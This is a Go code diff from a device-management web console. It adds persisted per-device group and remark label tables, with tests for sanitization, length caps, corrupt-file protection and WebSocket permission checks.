func (g *DeviceGroups) Snapshot() map[string]DeviceGroupEntry {
|
||||
if g == nil {
|
||||
return map[string]DeviceGroupEntry{}
|
||||
}
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
out := make(map[string]DeviceGroupEntry, len(g.entries))
|
||||
for id, e := range g.entries {
|
||||
out[id] = e
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Set stores group for deviceID. An empty group clears the override (the
|
||||
// device falls back to the group it reports). Control characters are folded to
|
||||
// spaces, the result is trimmed, and more than MaxGroupRunes runes is
|
||||
// rejected. On persistence failure the in-memory table is rolled back.
|
||||
func (g *DeviceGroups) Set(deviceID, group, actor string) error {
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return fmt.Errorf("empty device id")
|
||||
}
|
||||
group = sanitizeLabel(group)
|
||||
if utf8.RuneCountInString(group) > MaxGroupRunes {
|
||||
return fmt.Errorf("group is too long (max %d characters)", MaxGroupRunes)
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
if g.loadErr != nil {
|
||||
return fmt.Errorf("device groups unavailable: %w", g.loadErr)
|
||||
}
|
||||
prev, had := g.entries[deviceID]
|
||||
if group == "" {
|
||||
if !had {
|
||||
return nil
|
||||
}
|
||||
delete(g.entries, deviceID)
|
||||
} else {
|
||||
g.entries[deviceID] = DeviceGroupEntry{Group: group, UpdatedAt: time.Now().UTC(), UpdatedBy: actor}
|
||||
}
|
||||
if err := g.saveLocked(); err != nil {
|
||||
if had {
|
||||
g.entries[deviceID] = prev
|
||||
} else {
|
||||
delete(g.entries, deviceID)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Remove drops the override of one device (idempotent). Called when the device
|
||||
// record is deleted so a future client reusing the same ID cannot inherit the
|
||||
// group.
|
||||
func (g *DeviceGroups) Remove(deviceID string) error {
|
||||
if g == nil {
|
||||
return nil
|
||||
}
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return nil
|
||||
}
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
if g.loadErr != nil {
|
||||
return fmt.Errorf("device groups unavailable: %w", g.loadErr)
|
||||
}
|
||||
prev, ok := g.entries[deviceID]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
delete(g.entries, deviceID)
|
||||
if err := g.saveLocked(); err != nil {
|
||||
g.entries[deviceID] = prev
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// saveLocked writes the table via a temp file + rename. Caller holds g.mu.
|
||||
func (g *DeviceGroups) saveLocked() error {
|
||||
if g.path == "" {
|
||||
return nil
|
||||
}
|
||||
f := deviceGroupsFile{Version: deviceGroupsFileVersion, Devices: g.entries}
|
||||
data, err := json.MarshalIndent(f, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode device groups: %w", err)
|
||||
}
|
||||
dir := filepath.Dir(g.path)
|
||||
if dir == "" {
|
||||
dir = "."
|
||||
}
|
||||
tmp, err := os.CreateTemp(dir, ".device_groups-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("create temp groups: %w", err)
|
||||
}
|
||||
tmpName := tmp.Name()
|
||||
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
|
||||
|
||||
if _, err := tmp.Write(data); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("write temp groups: %w", err)
|
||||
}
|
||||
if err := tmp.Sync(); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("sync temp groups: %w", err)
|
||||
}
|
||||
if err := tmp.Close(); err != nil {
|
||||
return fmt.Errorf("close temp groups: %w", err)
|
||||
}
|
||||
if err := os.Rename(tmpName, g.path); err != nil {
|
||||
return fmt.Errorf("rename groups: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// TestDeviceGroupsSetPersistClear covers the store: sanitize, save, reload,
|
||||
// clear, the rune cap and the corrupt-file write protection.
|
||||
func TestDeviceGroupsSetPersistClear(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_groups.json")
|
||||
groups := NewDeviceGroups(path)
|
||||
|
||||
if err := groups.Set("dev-1", " Office\nWest\t", "admin"); err != nil {
|
||||
t.Fatalf("Set: %v", err)
|
||||
}
|
||||
if got := groups.Group("dev-1"); got != "Office West" {
|
||||
t.Fatalf("Group = %q, want %q", got, "Office West")
|
||||
}
|
||||
|
||||
reloaded := NewDeviceGroups(path)
|
||||
if err := reloaded.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
if got := reloaded.Group("dev-1"); got != "Office West" {
|
||||
t.Fatalf("reloaded Group = %q, want %q", got, "Office West")
|
||||
}
|
||||
|
||||
// The cap matches the Win32 regroup dialog (< 24 characters).
|
||||
if err := groups.Set("dev-1", strings.Repeat("x", MaxGroupRunes+1), "admin"); err == nil {
|
||||
t.Fatal("Set accepted an over-long group")
|
||||
}
|
||||
if err := groups.Set("dev-1", strings.Repeat("y", MaxGroupRunes), "admin"); err != nil {
|
||||
t.Fatalf("Set at the limit: %v", err)
|
||||
}
|
||||
|
||||
// An empty group clears the override.
|
||||
if err := groups.Set("dev-1", " ", "admin"); err != nil {
|
||||
t.Fatalf("clear: %v", err)
|
||||
}
|
||||
if got := groups.Group("dev-1"); got != "" {
|
||||
t.Fatalf("Group after clear = %q, want empty", got)
|
||||
}
|
||||
|
||||
// Groups() is the bulk snapshot callers take per listing; it must be a copy.
|
||||
if err := groups.Set("dev-2", "Bulk", "admin"); err != nil {
|
||||
t.Fatalf("Set dev-2: %v", err)
|
||||
}
|
||||
snap := groups.Groups()
|
||||
if snap["dev-2"] != "Bulk" {
|
||||
t.Fatalf("Groups()[dev-2] = %q, want %q", snap["dev-2"], "Bulk")
|
||||
}
|
||||
snap["dev-2"] = "mutated"
|
||||
if got := groups.Group("dev-2"); got != "Bulk" {
|
||||
t.Fatalf("mutating the snapshot changed the store: %q", got)
|
||||
}
|
||||
if err := groups.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove: %v", err)
|
||||
}
|
||||
if err := groups.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove twice: %v", err)
|
||||
}
|
||||
if got := groups.Group("dev-2"); got != "" {
|
||||
t.Fatalf("Group after Remove = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceGroupsBadFileRefusesWrites: an unparsable file must never be
|
||||
// replaced by the first save.
|
||||
func TestDeviceGroupsBadFileRefusesWrites(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_groups.json")
|
||||
bad := []byte("{not json")
|
||||
if err := os.WriteFile(path, bad, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
groups := NewDeviceGroups(path)
|
||||
if err := groups.Load(); err == nil {
|
||||
t.Fatal("Load accepted a malformed file")
|
||||
}
|
||||
if err := groups.Set("dev-1", "x", "admin"); err == nil {
|
||||
t.Fatal("Set wrote over a file that failed to load")
|
||||
}
|
||||
if got, _ := os.ReadFile(path); string(got) != string(bad) {
|
||||
t.Fatalf("original file was modified: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeviceGroupsLoadAppliesInvariants: values read back from disk are
|
||||
// sanitized and capped, so a restored file cannot break the card layout.
|
||||
func TestDeviceGroupsLoadAppliesInvariants(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_groups.json")
|
||||
long := "Team\nA " + strings.Repeat("x", MaxGroupRunes)
|
||||
data, err := json.Marshal(deviceGroupsFile{Version: deviceGroupsFileVersion,
|
||||
Devices: map[string]DeviceGroupEntry{"dev-1": {Group: long}}})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
t.Fatalf("seed: %v", err)
|
||||
}
|
||||
groups := NewDeviceGroups(path)
|
||||
if err := groups.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
got := groups.Group("dev-1")
|
||||
if strings.ContainsAny(got, "\r\n\t") {
|
||||
t.Fatalf("loaded group kept control characters: %q", got)
|
||||
}
|
||||
if n := utf8.RuneCountInString(got); n != MaxGroupRunes {
|
||||
t.Fatalf("loaded group has %d runes, want %d", n, MaxGroupRunes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceGroupHandler exercises the WebSocket path: the superadmin moves
|
||||
// a host, device_list reports the override plus groupEdit, get_groups offers
|
||||
// the new name, and clearing restores the reported group.
|
||||
func TestSetDeviceGroupHandler(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
groups := NewDeviceGroups(filepath.Join(t.TempDir(), "device_groups.json"))
|
||||
wh.withDeviceGroups(groups)
|
||||
|
||||
c, tok := aclTestClient(t, wh, "admin", "admin")
|
||||
|
||||
send := func(id, group string) map[string]any {
|
||||
raw, err := json.Marshal(map[string]any{"token": tok, "id": id, "group": group})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
wh.dispatch(c, "set_device_group", raw)
|
||||
return readUntilCmd(t, c, "set_device_group_result")
|
||||
}
|
||||
|
||||
res := send("pub", " Office\nWest ")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("set group failed: %v", res)
|
||||
}
|
||||
if res["group"] != "Office West" {
|
||||
t.Fatalf("reply group = %v, want %q", res["group"], "Office West")
|
||||
}
|
||||
|
||||
// device_list reports the override and the capability the menu keys off.
|
||||
rawList, _ := json.Marshal(map[string]any{"token": tok})
|
||||
wh.dispatch(c, "get_devices", rawList)
|
||||
list := readUntilCmd(t, c, "device_list")
|
||||
if list["groupEdit"] != true {
|
||||
t.Fatalf("device_list groupEdit = %v, want true", list["groupEdit"])
|
||||
}
|
||||
found := false
|
||||
for _, it := range list["devices"].([]any) {
|
||||
m := it.(map[string]any)
|
||||
if m["id"] == "pub" {
|
||||
found = true
|
||||
if m["group"] != "Office West" {
|
||||
t.Fatalf("device_list group = %v, want override", m["group"])
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("device_list did not include the public device")
|
||||
}
|
||||
|
||||
// get_groups offers the override name.
|
||||
rawGroups, _ := json.Marshal(map[string]any{"token": tok})
|
||||
wh.dispatch(c, "get_groups", rawGroups)
|
||||
gr := readUntilCmd(t, c, "groups")
|
||||
var names []string
|
||||
for _, g := range gr["groups"].([]any) {
|
||||
names = append(names, g.(string))
|
||||
}
|
||||
if !slices.Contains(names, "Office West") {
|
||||
t.Fatalf("groups = %v, want the override included", names)
|
||||
}
|
||||
// The overridden device's stale reported group must not linger in the list.
|
||||
if slices.Contains(names, "shared") {
|
||||
t.Fatalf("groups = %v, want the overridden reported group omitted", names)
|
||||
}
|
||||
|
||||
// A stale card (device deleted between render and save) must not create an
|
||||
// orphan override.
|
||||
if res := send("ghost-id", "Nowhere"); res["ok"] == true {
|
||||
t.Fatalf("group override accepted for an unknown device: %v", res)
|
||||
}
|
||||
|
||||
// Clearing restores the group the host reported.
|
||||
res = send("pub", "")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("clear group failed: %v", res)
|
||||
}
|
||||
wh.dispatch(c, "get_devices", rawList)
|
||||
list = readUntilCmd(t, c, "device_list")
|
||||
for _, it := range list["devices"].([]any) {
|
||||
m := it.(map[string]any)
|
||||
if m["id"] == "pub" && m["group"] != "shared" {
|
||||
t.Fatalf("group after clear = %v, want reported %q", m["group"], "shared")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceGroupPermissions: viewers cannot edit, and an admin that cannot
|
||||
// see a private device cannot move it.
|
||||
func TestSetDeviceGroupPermissions(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
wh.withDeviceGroups(NewDeviceGroups(""))
|
||||
|
||||
attempt := func(c *wsClient, tok, id string) map[string]any {
|
||||
raw, _ := json.Marshal(map[string]any{"token": tok, "id": id, "group": "x"})
|
||||
wh.dispatch(c, "set_device_group", raw)
|
||||
return readUntilCmd(t, c, "set_device_group_result")
|
||||
}
|
||||
|
||||
cv, tokv := aclTestClient(t, wh, "viewer1", "viewer")
|
||||
if res := attempt(cv, tokv, "pub"); res["ok"] == true {
|
||||
t.Fatal("viewer was allowed to move a host")
|
||||
}
|
||||
|
||||
ca, toka := aclTestClient(t, wh, "other-admin", "admin")
|
||||
if res := attempt(ca, toka, "a-dev"); res["ok"] == true {
|
||||
t.Fatal("admin without device access was allowed to move a host")
|
||||
}
|
||||
|
||||
cs, toks := aclTestClient(t, wh, "admin", "admin")
|
||||
if res := attempt(cs, toks, "a-dev"); res["ok"] != true {
|
||||
t.Fatalf("superadmin was refused: %v", res)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// MaxRemarkRunes bounds the per-device remark. The card renders it next to
|
||||
// the computer name ("host (remark)"), so this is a label, not a note field:
|
||||
// long enough for "Reception PC - 3rd floor", short enough to keep the card
|
||||
// intact.
|
||||
const MaxRemarkRunes = 64
|
||||
|
||||
// deviceNotesFileVersion is the on-disk format we write. A file from a newer
|
||||
// version is refused instead of being read as v1 and overwritten.
|
||||
const deviceNotesFileVersion = 1
|
||||
|
||||
// DeviceNoteEntry is one device remark.
|
||||
type DeviceNoteEntry struct {
|
||||
Note string `json:"note"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
UpdatedBy string `json:"updated_by,omitempty"`
|
||||
}
|
||||
|
||||
// deviceNotesFile is the on-disk shape of device_notes.json. Version is
|
||||
// reserved for future migrations; v1 is a flat deviceID -> remark map.
|
||||
type deviceNotesFile struct {
|
||||
Version int `json:"version"`
|
||||
Devices map[string]DeviceNoteEntry `json:"devices"`
|
||||
}
|
||||
|
||||
// DeviceNotes is the per-device remark table used by the web console. Remarks
|
||||
// are labels, not access control, so the table is independent of DeviceACL: a
|
||||
// device can carry a remark whether or not it is bound to an owner. An empty
|
||||
// Path disables persistence (tests).
|
||||
type DeviceNotes struct {
|
||||
mu sync.RWMutex
|
||||
path string
|
||||
entries map[string]DeviceNoteEntry
|
||||
// loadErr records why Load failed. While set, Set/Remove refuse to write:
|
||||
// persisting the in-memory (empty) table would replace the unreadable file
|
||||
// and destroy every remark it still holds.
|
||||
loadErr error
|
||||
}
|
||||
|
||||
// NewDeviceNotes returns an empty table backed by path.
|
||||
func NewDeviceNotes(path string) *DeviceNotes {
|
||||
return &DeviceNotes{path: path, entries: make(map[string]DeviceNoteEntry)}
|
||||
}
|
||||
|
||||
// Load reads Path into memory. A missing file is an empty table. A malformed
|
||||
// file (or one written by a newer version) is returned as an error and leaves
|
||||
// the table write-disabled: the caller may log and continue serving, but the
|
||||
// unreadable file must survive so its remarks can be recovered.
|
||||
func (n *DeviceNotes) Load() error {
|
||||
if n.path == "" {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(n.path)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return n.failLoad(fmt.Errorf("read %s: %w", n.path, err))
|
||||
}
|
||||
var f deviceNotesFile
|
||||
if err := json.Unmarshal(data, &f); err != nil {
|
||||
return n.failLoad(fmt.Errorf("parse %s: %w", n.path, err))
|
||||
}
|
||||
if f.Version > deviceNotesFileVersion {
|
||||
return n.failLoad(fmt.Errorf("unsupported %s version %d (this server writes %d)",
|
||||
n.path, f.Version, deviceNotesFileVersion))
|
||||
}
|
||||
entries := make(map[string]DeviceNoteEntry, len(f.Devices))
|
||||
for id, e := range f.Devices {
|
||||
id = strings.TrimSpace(id)
|
||||
// Apply the same invariants Set enforces: a hand-edited or restored
|
||||
// file must not put a multi-line / over-long label on a card.
|
||||
e.Note = capRunes(sanitizeLabel(e.Note), MaxRemarkRunes)
|
||||
if id == "" || e.Note == "" {
|
||||
continue
|
||||
}
|
||||
entries[id] = e
|
||||
}
|
||||
n.mu.Lock()
|
||||
n.entries = entries
|
||||
n.loadErr = nil
|
||||
n.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// failLoad records the reason writes are disabled and returns it.
|
||||
func (n *DeviceNotes) failLoad(err error) error {
|
||||
n.mu.Lock()
|
||||
n.loadErr = err
|
||||
n.mu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
// Note returns the remark of deviceID, or "" when it has none.
|
||||
func (n *DeviceNotes) Note(deviceID string) string {
|
||||
if n == nil {
|
||||
return ""
|
||||
}
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
return n.entries[deviceID].Note
|
||||
}
|
||||
|
||||
// Notes returns a copy of the deviceID -> remark map. Callers that look up
|
||||
// many devices in one pass (MCP host listings) take this snapshot instead of a
|
||||
// read lock per device, so a save's fsync cannot stall the whole listing.
|
||||
func (n *DeviceNotes) Notes() map[string]string {
|
||||
if n == nil {
|
||||
return map[string]string{}
|
||||
}
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
out := make(map[string]string, len(n.entries))
|
||||
for id, e := range n.entries {
|
||||
out[id] = e.Note
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Snapshot returns a copy of the table (for logs and tests).
|
||||
func (n *DeviceNotes) Snapshot() map[string]DeviceNoteEntry {
|
||||
if n == nil {
|
||||
return map[string]DeviceNoteEntry{}
|
||||
}
|
||||
n.mu.RLock()
|
||||
defer n.mu.RUnlock()
|
||||
out := make(map[string]DeviceNoteEntry, len(n.entries))
|
||||
for id, e := range n.entries {
|
||||
out[id] = e
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Set stores note for deviceID. An empty note clears the remark. Control
|
||||
// characters (line breaks etc.) are folded to spaces and the result is
|
||||
// trimmed; more than MaxRemarkRunes runes is rejected. On persistence failure
|
||||
// the in-memory table is rolled back so it never claims a remark that would
|
||||
// not survive a restart.
|
||||
func (n *DeviceNotes) Set(deviceID, note, actor string) error {
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return fmt.Errorf("empty device id")
|
||||
}
|
||||
note = sanitizeLabel(note)
|
||||
if utf8.RuneCountInString(note) > MaxRemarkRunes {
|
||||
return fmt.Errorf("remark is too long (max %d characters)", MaxRemarkRunes)
|
||||
}
|
||||
|
||||
n.mu.Lock()
|
||||
defer n.mu.Unlock()
|
||||
if n.loadErr != nil {
|
||||
return fmt.Errorf("device remarks unavailable: %w", n.loadErr)
|
||||
}
|
||||
prev, had := n.entries[deviceID]
|
||||
if note == "" {
|
||||
if !had {
|
||||
return nil
|
||||
}
|
||||
delete(n.entries, deviceID)
|
||||
} else {
|
||||
n.entries[deviceID] = DeviceNoteEntry{Note: note, UpdatedAt: time.Now().UTC(), UpdatedBy: actor}
|
||||
}
|
||||
if err := n.saveLocked(); err != nil {
|
||||
if had {
|
||||
n.entries[deviceID] = prev
|
||||
} else {
|
||||
delete(n.entries, deviceID)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Remove drops the remark of one device (idempotent). Called when the device
|
||||
// record is deleted so a future client reusing the same ID cannot inherit the
|
||||
// label.
|
||||
func (n *DeviceNotes) Remove(deviceID string) error {
|
||||
if n == nil {
|
||||
return nil
|
||||
}
|
||||
deviceID = strings.TrimSpace(deviceID)
|
||||
if deviceID == "" {
|
||||
return nil
|
||||
}
|
||||
n.mu.Lock()
|
||||
defer n.mu.Unlock()
|
||||
if n.loadErr != nil {
|
||||
return fmt.Errorf("device remarks unavailable: %w", n.loadErr)
|
||||
}
|
||||
prev, ok := n.entries[deviceID]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
delete(n.entries, deviceID)
|
||||
if err := n.saveLocked(); err != nil {
|
||||
n.entries[deviceID] = prev
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sanitizeLabel folds line breaks and other control characters (including
|
||||
// bidi/zero-width formatting runes, which could reorder the card title) to
|
||||
// spaces so the label always renders on one line, then trims both ends.
|
||||
// Shared by the per-device remark and group tables.
|
||||
func sanitizeLabel(s string) string {
|
||||
s = strings.Map(func(r rune) rune {
|
||||
if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) {
|
||||
return ' '
|
||||
}
|
||||
return r
|
||||
}, s)
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
|
||||
// capRunes truncates s to max runes. Used on values read back from disk, where
|
||||
// an older/hand-edited file may exceed the current limit. Trims again after the
|
||||
// cut so the stored label cannot end in an invisible space.
|
||||
func capRunes(s string, max int) string {
|
||||
if utf8.RuneCountInString(s) <= max {
|
||||
return s
|
||||
}
|
||||
return strings.TrimSpace(string([]rune(s)[:max]))
|
||||
}
|
||||
|
||||
// saveLocked writes the table via a temp file + rename. Caller holds n.mu.
|
||||
func (n *DeviceNotes) saveLocked() error {
|
||||
if n.path == "" {
|
||||
return nil
|
||||
}
|
||||
f := deviceNotesFile{Version: 1, Devices: n.entries}
|
||||
data, err := json.MarshalIndent(f, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("encode device notes: %w", err)
|
||||
}
|
||||
dir := filepath.Dir(n.path)
|
||||
if dir == "" {
|
||||
dir = "."
|
||||
}
|
||||
tmp, err := os.CreateTemp(dir, ".device_notes-*.tmp")
|
||||
if err != nil {
|
||||
return fmt.Errorf("create temp notes: %w", err)
|
||||
}
|
||||
tmpName := tmp.Name()
|
||||
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
|
||||
|
||||
if _, err := tmp.Write(data); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("write temp notes: %w", err)
|
||||
}
|
||||
if err := tmp.Sync(); err != nil {
|
||||
_ = tmp.Close()
|
||||
return fmt.Errorf("sync temp notes: %w", err)
|
||||
}
|
||||
if err := tmp.Close(); err != nil {
|
||||
return fmt.Errorf("close temp notes: %w", err)
|
||||
}
|
||||
if err := os.Rename(tmpName, n.path); err != nil {
|
||||
return fmt.Errorf("rename notes: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// TestDeviceNotesSetPersistClear covers the store on its own: sanitize, save,
|
||||
// reload, clear, and the rune cap.
|
||||
func TestDeviceNotesSetPersistClear(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "device_notes.json")
|
||||
notes := NewDeviceNotes(path)
|
||||
|
||||
// Control characters are folded to spaces and the ends trimmed, so the
|
||||
// label always renders on one line.
|
||||
if err := notes.Set("dev-1", " Reception\nPC\t", "admin"); err != nil {
|
||||
t.Fatalf("Set: %v", err)
|
||||
}
|
||||
if got := notes.Note("dev-1"); got != "Reception PC" {
|
||||
t.Fatalf("Note = %q, want %q", got, "Reception PC")
|
||||
}
|
||||
|
||||
// The table survives a restart.
|
||||
reloaded := NewDeviceNotes(path)
|
||||
if err := reloaded.Load(); err != nil {
|
||||
t.Fatalf("Load: %v", err)
|
||||
}
|
||||
if got := reloaded.Note("dev-1"); got != "Reception PC" {
|
||||
t.Fatalf("reloaded Note = %q, want %q", got, "Reception PC")
|
||||
}
|
||||
|
||||
// More than MaxRemarkRunes runes is rejected without touching the table.
|
||||
tooLong := strings.Repeat("x", MaxRemarkRunes+1)
|
||||
if err := notes.Set("dev-1", tooLong, "admin"); err == nil {
|
||||
t.Fatal("Set accepted an over-long remark")
|
||||
}
|
||||
if got := notes.Note("dev-1"); got != "Reception PC" {
|
||||
t.Fatalf("rejected Set changed the note to %q", got)
|
||||
}
|
||||
if err := notes.Set("dev-1", strings.Repeat("y", MaxRemarkRunes), "admin"); err != nil {
|
||||
t.Fatalf("Set at the limit: %v", err)
|
||||
}
|
||||
|
||||
// An empty remark clears the entry, and the clearing is persisted.
|
||||
if err := notes.Set("dev-1", " ", "admin"); err != nil {
|
||||
t.Fatalf("clear: %v", err)
|
||||
}
|
||||
if got := notes.Note("dev-1"); got != "" {
|
||||
t.Fatalf("Note after clear = %q, want empty", got)
|
||||
}
|
||||
reloaded = NewDeviceNotes(path)
|
||||
if err := reloaded.Load(); err != nil {
|
||||
t.Fatalf("Load after clear: %v", err)
|
||||
}
|
||||
if got := reloaded.Note("dev-1"); got != "" {
|
||||
t.Fatalf("reloaded Note after clear = %q, want empty", got)
|
||||
}
|
||||
|
||||
// Remove is idempotent and drops the entry.
|
||||
if err := notes.Set("dev-2", "Keep", "admin"); err != nil {
|
||||
t.Fatalf("Set dev-2: %v", err)
|
||||
}
|
||||
if err := notes.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove: %v", err)
|
||||
}
|
||||
if err := notes.Remove("dev-2"); err != nil {
|
||||
t.Fatalf("Remove twice: %v", err)
|
||||
}
|
||||
if got := notes.Note("dev-2"); got != "" {
|
||||
t.Fatalf("Note after Remove = %q, want empty", got)
|
||||
}
|
||||
|
||||
// Notes() is the bulk snapshot callers take per listing; it must be a
|
||||
// copy, not a live view of the table.
|
||||
if err := notes.Set("dev-3", "Bulk", "admin"); err != nil {
|
||||
t.Fatalf("Set dev-3: %v", err)
|
||||
}
|
||||
snap := notes.Notes()
|
||||
if snap["dev-3"] != "Bulk" {
|
||||
t.Fatalf("Notes()[dev-3] = %q, want %q", snap["dev-3"], "Bulk")
|
||||
}
|
||||
snap["dev-3"] = "mutated"
|
||||
if got := notes.Note("dev-3"); got != "Bulk" {
|
||||
t.Fatalf("mutating the snapshot changed the store: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSetDeviceRemarkHandler exercises the WebSocket path: the superadmin
|
||||
// sets a remark, device_list reports it (plus the remarkEdit capability), and
|
||||
// clearing removes it.
|
||||
func TestSetDeviceRemarkHandler(t *testing.T) {
|
||||
wh, _, _ := aclTestHub(t)
|
||||
path := filepath.Join(t.TempDir(), "device_notes.json")
|
||||
notes := NewDeviceNotes(path)
|
||||
wh.withDeviceNotes(notes)
|
||||
|
||||
c, tok := aclTestClient(t, wh, "admin", "admin")
|
||||
|
||||
send := func(id, remark string) map[string]any {
|
||||
raw, err := json.Marshal(map[string]any{"token": tok, "id": id, "remark": remark})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal: %v", err)
|
||||
}
|
||||
wh.dispatch(c, "set_device_remark", raw)
|
||||
return readUntilCmd(t, c, "set_device_remark_result")
|
||||
}
|
||||
|
||||
res := send("pub", " Reception\nPC ")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("set remark failed: %v", res)
|
||||
}
|
||||
if res["remark"] != "Reception PC" {
|
||||
t.Fatalf("reply remark = %v, want %q", res["remark"], "Reception PC")
|
||||
}
|
||||
if got := notes.Note("pub"); got != "Reception PC" {
|
||||
t.Fatalf("stored remark = %q", got)
|
||||
}
|
||||
|
||||
// device_list carries the label and the capability the menu keys off.
|
||||
rawList, _ := json.Marshal(map[string]any{"token": tok})
|
||||
wh.dispatch(c, "get_devices", rawList)
|
||||
list := readUntilCmd(t, c, "device_list")
|
||||
if list["remarkEdit"] != true {
|
||||
t.Fatalf("device_list remarkEdit = %v, want true", list["remarkEdit"])
|
||||
}
|
||||
items, _ := list["devices"].([]any)
|
||||
found := false
|
||||
for _, it := range items {
|
||||
m, _ := it.(map[string]any)
|
||||
if m["id"] == "pub" {
|
||||
found = true
|
||||
if m["remark"] != "Reception PC" {
|
||||
t.Fatalf("device_list remark = %v, want %q", m["remark"], "Reception PC")
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("device_list did not include the public device")
|
||||
}
|
||||
|
||||
// Empty remark clears it.
|
||||
res = send("pub", "")
|
||||
if res["ok"] != true {
|
||||
t.Fatalf("clear remark failed: %v", res)
|
||||
}
|
||||
if got := notes.Note("pub"); got != "" {
|
||||
t.Fatalf("remark after clear = %q", got)
|
||||
}
|
||||
|
||||
// A payload with a non-string remark must be rejected, not treated as an
|
||||
// empty remark (which would clear the label).
|
||||
if err := notes.Set("pub", "Keep", "admin"); err != nil {
|
||||
t.Fatalf("Set before invalid payload: %v", err)
|
||||
}
|
||||
rawBad, _ := json.Marshal(map[string]any{"token": tok, "id": "pub", "remark": 123})
|
||||
wh.dispatch(c, "set_device_remark", rawBad)
|
||||
bad := readUntilCmd(t, c, "set_device_remark_result")
|
||||
if bad["ok"] == true {
|
||||
t.Fatalf("invalid payload accepted: %v", bad)
|
||||
}
|
||||
if got := notes.Note("pub"); got != "Keep" {
|
||||
t.Fatalf("invalid payload changed the remark to %q", got)
|
||||
}
|
||||
|
||||
// A stale card (device deleted between render and save) must not create an
|
||||
// orphan remark.
|
||||
rawGhost, _ := json.Marshal(map[string]any{"token": tok, "id": "ghost-id", "remark": "x"})
|
||||
wh.dispatch(c, "set_device_remark", rawGhost)
|
||||
if ghost := readUntilCmd(t, c, "set_device_remark_result"); ghost["ok"] == true {
|
||||
t.Fatalf("remark accepted for an unknown device: %v", ghost)
|
||||
}
|
||||
}
|
||||
|
||||
